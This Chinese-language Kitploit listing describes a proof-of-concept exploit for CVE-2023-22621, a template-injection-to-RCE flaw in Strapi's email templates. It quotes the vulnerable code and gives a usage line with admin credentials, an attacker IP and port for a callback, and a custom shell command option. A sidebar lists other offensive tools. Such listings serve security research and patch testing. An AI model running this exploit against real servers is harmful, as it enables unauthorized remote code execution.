Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-22621-POC — CVE-2023-22621:通过利用电子邮件模板实现从 SSTI 到 RCE,影响 Strapi 版本 <=4.5.5 | Kitploit
工具/GitHubGitHub/sofianeelhor/cve-2023-22621-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubsofianeelhor/cve-2023-22621-poc

CVE-2023-22621-POC

CVE-2023-22621:通过利用电子邮件模板实现从 SSTI 到 RCE,影响 Strapi 版本 <=4.5.5

查看仓库
255233年前Kitploit 审核通过
分享

CVE-2023-22621-POC

CVE-2023-22621:利用电子邮件模板实现 SSTI 到 RCE,影响 Strapi 版本 <=4.5.5

sendTemplatedEmail 函数使用 lodash 模板引擎将电子邮件模板渲染为 HTML 内容,该模板引擎会评估模板中的 JavaScript 代码。参考:https://twitter.com/rootxharsh/status/1268181937127997446?lang=en

'use strict';

const _ = require('lodash');

const getProviderSettings = () => {
 return strapi.config.get('plugin.email');
};

const send = async (options) => {
 return strapi.plugin('email').provider.send(options);
};

/**
* fill subject, text and html using lodash template
* @param {object} emailOptions - to, from and replyto...
* @param {object} emailTemplate - object containing attributes to fill
* @param {object} data - data used to fill the template
* @returns {{ subject, text, subject }}
*/
const sendTemplatedEmail = (emailOptions = {}, emailTemplate = {}, data = {}) => {
 const attributes = ['subject', 'text', 'html'];
 const missingAttributes = _.difference(attributes, Object.keys(emailTemplate));
 if (missingAttributes.length > 0) {
   throw new Error(
     `Following attributes are missing from your email template : ${missingAttributes.join(', ')}`
   );
 }

POC

用法

python3 CVE-2023-22621.py -url http://strapi.local:1337/ -u "[email protected]" -p "$Securep4ss" -ip 127.0.0.1 -port 4545

options:
  -h, --help            show this help message and exit
  -url URL              URL of the Strapi instance
  -u U                  Admin username
  -p P                  Admin password
  -ip IP                Attacker IP
  -port PORT            Attacker port
  -url_redirect         URL to redirect after email confirmation
  -custom CUSTOM        Custom shell command to execute

致谢

所有功劳归于原始漏洞发现者,查看他的精彩文章此处

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    916
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    370
  • 4

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    317
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    289

探索所有工具

浏览我们的工具集合

查看所有工具 →